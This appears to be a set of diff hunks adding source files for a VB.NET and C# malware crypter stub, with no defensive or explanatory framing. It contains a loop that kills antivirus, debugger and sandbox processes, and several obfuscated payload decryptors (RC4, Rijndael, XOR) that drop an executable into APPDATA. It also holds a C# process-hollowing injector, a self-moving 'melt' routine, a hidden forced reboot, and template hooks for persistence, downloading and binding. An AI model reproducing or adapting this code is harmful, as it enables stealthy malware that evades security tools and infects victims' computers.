Dim pinnedBitmapInfoHeader = GCHandle.Alloc(bitmapheader, GCHandleType.Pinned)
Marshal.Copy(ImageData(i), 0, pinnedBitmapInfoHeader.AddrOfPinnedObject, Marshal.SizeOf(GetType(BITMAPINFOHEADER)))
pinnedBitmapInfoHeader.Free()
grpEntry.Width = iconEntry(i).Width
grpEntry.Height = iconEntry(i).Height
grpEntry.ColorCount = iconEntry(i).ColorCount
grpEntry.Reserved = iconEntry(i).Reserved
grpEntry.Planes = bitmapheader.Planes
grpEntry.BitCount = bitmapheader.BitCount
grpEntry.BytesInRes = iconEntry(i).BytesInRes
grpEntry.ID = CType(iconBaseID + i, UShort)
Marshal.StructureToPtr(grpEntry, New IntPtr(pinnedData.AddrOfPinnedObject.ToInt64 + offset), False)
offset += Marshal.SizeOf(GetType(GRPICONDIRENTRY))
Next
pinnedData.Free()
Return data
End Function
End Class
End Class
@@ -0,0 +1,13 @@
Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean
Dim vr1 As New Threading.Thread(AddressOf vr0)
vr1.SetApartmentState(Threading.ApartmentState.STA)
vr1.Start(bytes)
End Function
Private Shared Sub vr0(ByVal vr0 As Object)
Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint
If vr19.GetParameters.Length = 1 Then
vr19.Invoke(Nothing, New Object() {New String() {}})
Else
vr19.Invoke(Nothing, Nothing)
End If
End Sub
@@ -0,0 +1,15 @@
Public Shared Function Killer(ByVal proc As String) As String
Try
While True
Dim p As System.Diagnostics.Process
For Each p In System.Diagnostics.Process.GetProcesses
If proc.Contains(p.ProcessName) Then
p.Kill()
End If
Next
System.Threading.Thread.Sleep(1)
End While
Catch ex As Exception
End Try
Return Nothing
End Function
@@ -0,0 +1,97 @@
Shared Sub KKK
Dim KF13 As New System.Threading.Thread(AddressOf F13)
KF13.Start()
Dim KF14 As New System.Threading.Thread(AddressOf F14)
KF14.Start()
Dim KF15 As New System.Threading.Thread(AddressOf F15)
KF15.Start()
Dim KF16 As New System.Threading.Thread(AddressOf F16)
KF16.Start()
Dim KF17 As New System.Threading.Thread(AddressOf F17)
KF17.Start()
Dim KF19 As New System.Threading.Thread(AddressOf F19)
KF19.Start()
Dim KF21 As New System.Threading.Thread(AddressOf F21)
KF21.Start()
Dim KF22 As New System.Threading.Thread(AddressOf F22)
KF22.Start()
Dim KF23 As New System.Threading.Thread(AddressOf F23)
KF23.Start()
Dim KF24 As New System.Threading.Thread(AddressOf F24)
KF24.Start()
Dim KF25 As New System.Threading.Thread(AddressOf F25)
KF25.Start()
Dim KF26 As New System.Threading.Thread(AddressOf F26)
KF26.Start()
Dim KF27 As New System.Threading.Thread(AddressOf F27)
KF27.Start()
End Sub
Shared Sub F13()
Killer("keyscrambler")
End Sub
Shared Sub F14()
Killer("bdagent")
End Sub
Shared Sub F15()
Killer("mbam")
End Sub
Shared Sub F16()
Killer("panda")
End Sub
Shared Sub F17()
Killer("zlclient")
End Sub
Shared Sub F19()
Killer("ollydbg")
End Sub
Shared Sub F21()
Killer("egui")
End Sub
Shared Sub F22()
Killer("hijackthis")
End Sub
Shared Sub F23()
Killer("npfmsg")
End Sub
Shared Sub F24()
Killer("SBAMsvc")
End Sub
Shared Sub F25()
Killer("wine")
End Sub
Shared Sub F26()
Killer("outpost")
End Sub
Shared Sub F27()
Killer("joeboxserver")
Killer("joeboxcontrol")
End Sub
@@ -0,0 +1,28 @@
'Shared Sub Melt(ByVal NewName As String)
' Try
' Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
' If Application.StartupPath = NewFolder = False Then
' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName)
' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath)
' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden
' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden)
' End
' Else
' Kill(Microsoft.VisualBasic.Command)
' End If
' Catch
' End Try
'End Sub
Public Declare Function GetModuleFileName Lib "kernel32" Alias "GetModuleFileNameA" (ByVal hModule As Integer, ByVal lpFileName As String, ByVal nSize As Integer) As Integer
Public Declare Function ExitProcess Lib "kernel32" Alias "ExitProcess" (ByVal uExitCode As UInteger) As Integer
Public Declare Function MoveFile Lib "kernel32" Alias "MoveFileExW" (<[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpExistingFileName As String, <[In](), MarshalAs(UnmanagedType.LPTStr)> ByVal lpNewFileName As String, ByVal dwFlags As Long) As Integer
Public Shared Sub Melt(ByVal Name As String)
Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)
If IO.File.Exists(NewFolder & "\" & Name) Then
IO.File.Delete(NewFolder & "\" & Name)
End If
MoveFile(Microsoft.VisualBasic.Left(Application.ExecutablePath, _
GetModuleFileName(0, Application.ExecutablePath, 256)), _
NewFolder & "\" & Name, 8)
ExitProcess(0)
End Sub
@@ -0,0 +1,12 @@
Public Shared Function PolyDec(ByVal Input As String) As String
Dim Output As String = Nothing
Dim SA() As String
SA = Input.Split("|")
For Each C As String In SA
Try
Output = Output & Chr(C - SA(0))
Catch
End Try
Next
Return Output.Remove(0, 1)
End Function
@@ -0,0 +1,13 @@
Dim D As New PolyRC4(R.GetObject("K"))
Dim N As String = D.Decrypt(R.GetObject("NM"))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I")))
Try
My.Computer.FileSystem.WriteAllBytes(I, B, False)
Catch
End Try
Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F")))
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {C, I})
@@ -0,0 +1,157 @@
Public Class PolyRC4
Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf"
Sub New(ByVal EncryptionKey As String)
Key = EncryptionKey
End Sub
Public Function Encrypt(ByVal message As String) As String
message = XX(message, Key)
Dim random As New Random()
Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList()
Dim out As String = ""
Dim num1 As Integer = random.[Next](1, 10255)
For i As Integer = 0 To message.Length - 1
Dim num2 As Integer = random.[Next](num1) '(&H7A) + &H44
list1.Add(Convert.ToInt32(message(i)) + num2)
list2.Add(num2)
Next
For j As Integer = 0 To message.Length - 1
out += ChrW(list1(j)) & ChrW(list2(j))
Next
Return out
End Function
Public Function Decrypt(ByVal message As String) As String
Dim numArray As Integer() = New Integer(message.Length - 1) {}
Dim temp As String = ""
For i As Integer = 0 To message.Length - 1
numArray(i) = Convert.ToInt32(message(i))
Next
For j As Integer = 0 To message.Length - 1 Step 2
Dim num3 As Integer = numArray(j)
Dim num4 As Integer = numArray(j + 1)
Dim num5 As Integer = num3 - num4
temp = temp + ChrW(num5)
Next
Return XX(temp, Key)
End Function
Public Shared Function XX(ByVal message As String, ByVal password As String) As String
Dim i As Integer = 0
Dim j As Integer = 0
Dim cipher As New StringBuilder
Dim returnCipher As String = String.Empty
Dim sbox As Integer() = New Integer(256) {}
Dim key As Integer() = New Integer(256) {}
Dim intLength As Integer = password.Length
Dim a As Integer = 0
While a <= 255
Dim ctmp As Char = (password.Substring((a Mod intLength), 1).ToCharArray()(0))
key(a) = Microsoft.VisualBasic.Strings.Asc(ctmp)
sbox(a) = a
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
Dim x As Integer = 0
Dim b As Integer = 0
While b <= 255
x = (x + sbox(b) + key(b)) Mod 256
Dim tempSwap As Integer = sbox(b)
sbox(b) = sbox(x)
sbox(x) = tempSwap
System.Math.Max(System.Threading.Interlocked.Increment(b), b - 1)
End While
a = 1
While a <= message.Length
Dim itmp As Integer = 0
i = (i + 1) Mod 256
j = (j + sbox(i)) Mod 256
itmp = sbox(i)
sbox(i) = sbox(j)
sbox(j) = itmp
Dim k As Integer = sbox((sbox(i) + sbox(j)) Mod 256)
Dim ctmp As Char = message.Substring(a - 1, 1).ToCharArray()(0)
itmp = Asc(ctmp)
Dim cipherby As Integer = itmp Xor k
cipher.Append(Chr(cipherby))
System.Math.Max(System.Threading.Interlocked.Increment(a), a - 1)
End While
returnCipher = cipher.ToString
cipher.Length = 0
Return returnCipher
End Function
End Class
@@ -0,0 +1,11 @@
Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
R.GetObject("K")))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Try
My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
Catch
End Try
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
@@ -0,0 +1,14 @@
Public Class PolyMorphicStairs
Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String
Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds)
PolyDeCrypt = Encoding.Default.GetString(buff)
Erase buff
End Function
Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal ExtraRounds As UInteger = 0) As Byte()
For i = 0 To (Data.Length - 1) * (ExtraRounds + 1)
Data(i Mod Data.Length) = CByte((CInt(Data(i Mod Data.Length) Xor Key(i Mod Key.Length)) - CInt(Data((i + 1) Mod Data.Length)) + 256) Mod 256)
Next
Array.Resize(Data, Data.Length - 1)
Return Data
End Function
End Class
@@ -0,0 +1,11 @@
Dim D As New Polymorphic(R.GetObject("K"))
Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM")))))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Try
My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False)
Catch
End Try
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F")))), I})
@@ -0,0 +1,78 @@
Public Class PolyMorphic
'Variable for the Key.
Private sKey As String = ""
'Property, will Give us acces to the key.
Public Property Key() As String
Get
Return sKey
End Get
Set(ByVal value As String)
sKey = value
End Set
End Property
'Inisalization. (New Constructor)
Public Sub New(ByVal Key As String)
Me.Key = Key
End Sub
Public Sub New()
Me.Key = ""
End Sub
'This Will convert String to bytes,then call the other function.
Public Function PolyCrypt(ByVal Data As String) As String
Return Encoding.Default.GetString(PolyCrypt(Encoding.Default.GetBytes(Data)))
End Function
'This one also Will convert String to bytes,then call the other function.
Public Function PolyDeCrypt(ByVal Data As String) As String
Return Encoding.Default.GetString(PolyDeCrypt(Encoding.Default.GetBytes(Data)))
End Function
'Main PolyMorphic Encryption.
Public Function PolyCrypt(ByVal Data() As Byte) As Byte()
'We declare a byte array, just one byte bigger then the data.
Dim ReturnBuffer(Data.Length) As Byte
'we assain The first one with a random byte.
ReturnBuffer(0) = Convert.ToByte(New Random().Next(1, Convert.ToInt32(11111111, 2)))
'now for each byte in data
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
'we add the previous byte to the next byte Mod 256. the first byte is random,
'so will will get random bytes all the way.
ReturnBuffer(i + Convert.ToInt32(1, 2)) = ModuloByte(ReturnBuffer(i), Data(i))
Next
'We Call the Selected Encryption to crypt the randomized Data.
Return XorCrypt(ReturnBuffer, Encoding.Default.GetBytes(Key))
End Function
'Main PolyMorphic Decryption.
Public Function PolyDeCrypt(ByVal Data() As Byte) As Byte()
'This Function is the exact reverse of the crypt function.
'we should Decrypt to get our last randomized data.
Data = XorCrypt(Data, Encoding.Default.GetBytes(Key))
'Now in the other function the return value is a one byte bigger array. lets remove that one
Dim ReturnBuffer(Data.Length - Convert.ToInt32(10, 2)) As Byte
'we started from Byte n# 0 to the last one. we'll play it reversed now.
For i = Data.Length - Convert.ToInt32(1, 2) To Convert.ToInt32(1, 2) Step -Convert.ToInt32(1, 2)
'We just remove The previous byte value from the current one Mod 256. simple
ReturnBuffer(i - Convert.ToInt32(1, 2)) = ModuloByte(Data(i), -Data(i - Convert.ToInt32(1, 2)))
Next
'That's it. The Buffer is one byte less then the data. Perfect. Return it.
Return ReturnBuffer
End Function
'A Positive Mod 256. This will prevent a non byte value. the result is always >= 0 and <= 255
Private Function ModuloByte(ByVal MyByte As Byte, ByVal Addition As Int16) As Byte
While Addition < Convert.ToInt32(0, 2)
'
Addition += Convert.ToInt32(100000000, 2)
End While
Return Convert.ToByte((MyByte + Addition) Mod Convert.ToInt32(100000000, 2))
End Function
'Xor Encryption.
Private Function XorCrypt(ByVal Data() As Byte, ByVal Key() As Byte) As Byte()
If Key.Length <> 0 Then
For i = Convert.ToInt32(0, 2) To Data.Length - Convert.ToInt32(1, 2)
Data(i) = Data(i) Xor ModuloByte(Key(i Mod Key.Length), [Key](Key(i Mod Key.Length) Mod Key.Length)) Xor [Key](((i + (i Mod Convert.ToInt32(111, 2))) Mod Key.Length) Mod Key.Length)
Next
End If
Return Data
End Function
Public Function XorCrypt(ByVal Data As String, ByVal Key As String) As String
Return Encoding.Default.GetString(XorCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key)))
End Function
End Class
@@ -0,0 +1,53 @@
Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte()
Dim s(Convert.ToInt32(11111111, &H2)) As Byte
Dim i As Integer
For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
s(i) = CByte(i)
Next
Dim j As Integer
For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2)
j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &H2)
Dim temp As Byte = s(i)
s(i) = s(j)
s(j) = temp
Next
i = Convert.ToInt32(&H0, &H2)
j = Convert.ToInt32(&H0, &H2)
Dim output(ºjmÍ.Length - Convert.ToInt32(&H1, &H2)) As Byte
Dim k As Integer
For k = Convert.ToInt32(&H0, &H2) To ºjmÍ.Length - Convert.ToInt32(&H1, &H2)
i = (i + Convert.ToInt32(1, &H2)) And Convert.ToInt32(11111111, &H2)
j = (j + s(i)) And Convert.ToInt32(11111111, &H2)
Dim temp As Byte = s(i)
s(i) = s(j)
s(j) = temp
output(k) = s((CType(s(i), Integer) + s(j)) And Convert.ToInt32(11111111, &H2)) Xor ºjmÍ(k)
Next
Return output
End Function
@@ -0,0 +1,11 @@
Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
R.GetObject("K")))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Try
My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
Catch
End Try
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
@@ -0,0 +1,3 @@
Shared Sub F60()
Killer("regedit")
End Sub
@@ -0,0 +1,95 @@
Option Explicit Off
Option Strict Off
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System
Imports Microsoft.VisualBasic
Imports System.Text
Imports System.Security.Cryptography
Imports Microsoft.Win32
Imports System.Windows.Forms
Imports System.IO
Imports System.CodeDom.Compiler
'AssemblyCodes
Public Class Out
'FakeAPI#1
'FakeAPI#2
'FakeAPI#3
'FakeAPI#4
'FakeAPI#5
'FakeAPI#6
'FakeAPI#7
'FakeAPI#8
'FakeAPI#9
'FakeAPI#A
'FakeAPI#B
Shared Sub Main()
Dim R As New Resources.ResourceManager("A", Assembly.GetExecutingAssembly)
'MessageB
System.Threading.Thread.Sleep(DelayExe * 1000)
'CallAntis
'LoadMethod
'KKK
'AStartUpCall
'CallWS
'TaskManagerK
'RegeditK
'msconfigK
'notepadK
'dxdiagK
'FolderOpts
'meltcall
'restart
'Downloader
'delHALDLL
'Binder
End Sub
'InjectionEncryptionAlgorithm
Private Shared Function LoadMethod(ByVal [Class] As String, ByVal Void As String, ByVal file As Assembly, ByVal Parameters As Object()) As Boolean
Try
Dim u As Assembly = file
Dim t As Type = u.[GetType]([Class])
If t IsNot Nothing Then
Dim m As MethodInfo = t.GetMethod(Void)
If m IsNot Nothing Then
Return CBool(m.Invoke(Nothing, Parameters))
End If
End If
Catch ex As Exception
End Try
End Function
'Anti's Sub
'FunctionA
'Killer Sub
'StubStrEncryption
'KillerFunction
'Websites
'TaskmanagerSub
'RegeditSub
'msconfigSub
'notepadSub
'dxdiagSub
'meltSub
'junkFunction
'InvokeSub
Public Shared Function ReverseString(ByVal s As String) As String
Dim arr As Char() = s.ToCharArray()
Array.Reverse(arr)
Return New String(arr)
End Function
Public Shared Function CC(ByVal Source As String) As Assembly
Dim Parameters As New CompilerParameters()
Dim cResults As CompilerResults = Nothing
Dim Compiler As CodeDomProvider = CodeDomProvider.CreateProvider("CSharp")
Parameters.GenerateExecutable = False
Parameters.GenerateInMemory = True
Parameters.ReferencedAssemblies.Add("System.dll")
Parameters.ReferencedAssemblies.Add("System.Management.dll")
Parameters.CompilerOptions = "/platform:x86"
Parameters.TreatWarningsAsErrors = False
cResults = Compiler.CompileAssemblyFromSource(Parameters, Source)
Return cResults.CompiledAssembly
End Function
'Add2StartUp
End Class
'heavyJunk
@@ -0,0 +1,6 @@
Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart"
If Not IO.File.Exists(bytloc) Then
Dim filebyt As Byte() = New Byte() {}
My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False)
Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide)
End If
@@ -0,0 +1,14 @@
Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K"))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _
R.GetObject("K")))
Try
My.Computer.FileSystem.WriteAllBytes(I, II, False)
Catch
End Try
Dim III As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("F"), _
R.GetObject("K")))
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {III, I})
@@ -0,0 +1,42 @@
Public Shared Function RijndaelDecrypt(ByVal Decrypt As String, ByVal Key As String)
Dim A As New RijndaelManaged
Dim BC() As Byte
Dim BS() As Byte = New Byte() {Convert.ToInt32(&H1, &H2), _
Convert.ToInt32(10, &H2), _
Convert.ToInt32(11, &H2), _
Convert.ToInt32(100, &H2), _
Convert.ToInt32(101, &H2), _
Convert.ToInt32(110, &H2), _
Convert.ToInt32(111, &H2), _
Convert.ToInt32(1000, &H2)}
Dim oKeyGenerator As New Rfc2898DeriveBytes(Key, BS)
A.Key = oKeyGenerator.GetBytes(A.Key.Length)
A.IV = oKeyGenerator.GetBytes(A.IV.Length)
Dim ms As New IO.MemoryStream
Dim cs As New CryptoStream(ms, A.CreateDecryptor(), CryptoStreamMode.Write)
Try
BC = Convert.FromBase64String(Decrypt)
cs.Write(BC, Convert.ToInt32(&H0, &H2), BC.Length)
cs.Close()
Decrypt = System.Text.Encoding.UTF8.GetString(ms.ToArray)
Catch
End Try
Return Decrypt
End Function
@@ -0,0 +1,82 @@
using System.Runtime.InteropServices;
using System;
using System.Text;
public class IX
{
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("kernel32")]
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("kernel32")]
private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
[DllImport("kernel32")]
private static extern bool SetThreadContext(IntPtr t, uint[] c);
[DllImport("ntdll")]
private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("kernel32")]
private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
[DllImport("kernel32.dll")]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32")]
private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
public static bool R(byte[] bytes, string surrogateProcess)
{
try
{
IntPtr procAttr = IntPtr.Zero;
IntPtr[] processInfo = new IntPtr[4];
byte[] startupInfo = new byte[0x44];
int num2 = BitConverter.ToInt32(bytes, 60);
int num = BitConverter.ToInt16(bytes, num2 + 6);
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
{
uint[] ctxt = new uint[0xb3];
ctxt[0] = 0x10002;
if (GetThreadContext(processInfo[1], ctxt))
{
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
IntPtr buffer = IntPtr.Zero;
IntPtr bufferSize = new IntPtr(4);
IntPtr numRead = IntPtr.Zero;
if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
(NtUnmapViewOfSection(processInfo[0], buffer) == 0))
{
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
int lpNumberOfBytesWritten;
WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
int num5 = num - 1;
for (int i = 0; i <= num5; i++)
{
int[] dst = new int[10];
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
addr = new IntPtr(buffer2.Length);
WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
}
size = new IntPtr(ctxt[0x29] + 8L);
addr = new IntPtr(4);
WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
SetThreadContext(processInfo[1], ctxt);
}
}
ResumeThread(processInfo[1]);
}
}
catch
{
return false;
}
return true;
}
}
@@ -0,0 +1,82 @@
using System.Runtime.InteropServices;
using System;
using System.Text;
public class IX
{
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("kernel32")]
private static extern bool CreateProcess(string appName, StringBuilder commandLine, IntPtr procAttr, IntPtr thrAttr, [MarshalAs(UnmanagedType.Bool)] bool inherit, int creation, IntPtr env, string curDir, byte[] sInfo, IntPtr[] pInfo);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("kernel32")]
private static extern bool GetThreadContext(IntPtr hThr, uint[] ctxt);
[DllImport("kernel32")]
private static extern bool SetThreadContext(IntPtr t, uint[] c);
[DllImport("ntdll")]
private static extern uint NtUnmapViewOfSection(IntPtr hProc, IntPtr baseAddr);
[return: MarshalAs(UnmanagedType.Bool)]
[DllImport("kernel32")]
private static extern bool ReadProcessMemory(IntPtr hProc, IntPtr baseAddr, ref IntPtr bufr, int bufrSize, ref IntPtr numRead);
[DllImport("kernel32.dll")]
private static extern uint ResumeThread(IntPtr hThread);
[DllImport("kernel32")]
private static extern IntPtr VirtualAllocEx(IntPtr hProc, IntPtr addr, IntPtr size, int allocType, int prot);
[DllImport("kernel32", CharSet = CharSet.Auto, SetLastError = true)]
private static extern bool VirtualProtectEx(IntPtr hProcess, IntPtr lpAddress, IntPtr dwSize, uint flNewProtect, ref uint lpflOldProtect);
[DllImport("kernel32.dll", SetLastError = true)]
private static extern bool WriteProcessMemory(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out int lpNumberOfBytesWritten);
public static bool R(byte[] bytes, string surrogateProcess)
{
try
{
IntPtr procAttr = IntPtr.Zero;
IntPtr[] processInfo = new IntPtr[4];
byte[] startupInfo = new byte[0x44];
int num2 = BitConverter.ToInt32(bytes, 60);
int num = BitConverter.ToInt16(bytes, num2 + 6);
IntPtr ptr4 = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x54));
if (CreateProcess(null, new StringBuilder(surrogateProcess), procAttr, procAttr, false, 4, procAttr, null, startupInfo, processInfo))
{
uint[] ctxt = new uint[0xb3];
ctxt[0] = 0x10002;
if (GetThreadContext(processInfo[1], ctxt))
{
IntPtr baseAddr = new IntPtr(ctxt[0x29] + 8L);
IntPtr buffer = IntPtr.Zero;
IntPtr bufferSize = new IntPtr(4);
IntPtr numRead = IntPtr.Zero;
if (ReadProcessMemory(processInfo[0], baseAddr, ref buffer, (int)bufferSize, ref numRead) &&
(NtUnmapViewOfSection(processInfo[0], buffer) == 0))
{
IntPtr addr = new IntPtr(BitConverter.ToInt32(bytes, num2 + 0x34));
IntPtr size = new IntPtr(BitConverter.ToInt32(bytes, num2 + 80));
IntPtr lpBaseAddress = VirtualAllocEx(processInfo[0], addr, size, 0x3000, 0x40);
int lpNumberOfBytesWritten;
WriteProcessMemory(processInfo[0], lpBaseAddress, bytes, (uint)((int)ptr4), out lpNumberOfBytesWritten);
int num5 = num - 1;
for (int i = 0; i <= num5; i++)
{
int[] dst = new int[10];
Buffer.BlockCopy(bytes, (num2 + 0xf8) + (i * 40), dst, 0, 40);
byte[] buffer2 = new byte[(dst[4] - 1) + 1];
Buffer.BlockCopy(bytes, dst[5], buffer2, 0, buffer2.Length);
size = new IntPtr(lpBaseAddress.ToInt32() + dst[3]);
addr = new IntPtr(buffer2.Length);
WriteProcessMemory(processInfo[0], size, buffer2, (uint)addr, out lpNumberOfBytesWritten);
}
size = new IntPtr(ctxt[0x29] + 8L);
addr = new IntPtr(4);
WriteProcessMemory(processInfo[0], size, BitConverter.GetBytes(lpBaseAddress.ToInt32()), (uint)addr, out lpNumberOfBytesWritten);
ctxt[0x2c] = (uint)(lpBaseAddress.ToInt32() + BitConverter.ToInt32(bytes, num2 + 40));
SetThreadContext(processInfo[1], ctxt);
}
}
ResumeThread(processInfo[1]);
}
}
catch
{
return false;
}
return true;
}
}
@@ -0,0 +1,11 @@
Dim N As String = System.Text.Encoding.Default.GetString(SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _
R.GetObject("K")))
Dim I As String = Environ("APPDATA") & "\" & N & ".exe"
If IO.File.Exists(I) Then
IO.File.Delete(I)
End If
Try
My.Computer.FileSystem.WriteAllBytes(I, SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False)
Catch
End Try
LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {SDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("F"))), R.GetObject("K")), I})
@@ -0,0 +1,8 @@
Public Shared Function SDeCrypt(ByVal Data() As Byte, ByVal key() As Byte) As Byte()
For i = Data.Length - Convert.ToInt32(&H1, 2) To Convert.ToInt32(0, 2) Step -1
Data(i) = CByte((CInt(Data(i) Xor key(i Mod key.Length)) - CInt(Data((i + _
Convert.ToInt32(&H1, 2)) Mod Data.Length)) + Convert.ToInt32(100000000, 2)) _
Mod Convert.ToInt32(100000000, 2))
Next
Return Data
End Function
@@ -0,0 +1,96 @@
Option Explicit Off
Option Strict Off
Imports System.Reflection
Imports System.Runtime.InteropServices
Imports System
Imports Microsoft.VisualBasic
Imports System.Text
Imports System.Security.Cryptography
Imports Microsoft.Win32
Imports System.Windows.Forms
Imports System.IO
Imports System.CodeDom.Compiler
'AssemblyCodes
Public Class Out
'FakeAPI#1
'FakeAPI#2
'FakeAPI#3
'FakeAPI#4
'FakeAPI#5
'FakeAPI#6
'FakeAPI#7
'FakeAPI#8
'FakeAPI#9
'FakeAPI#A
'FakeAPI#B
Shared Sub Main()
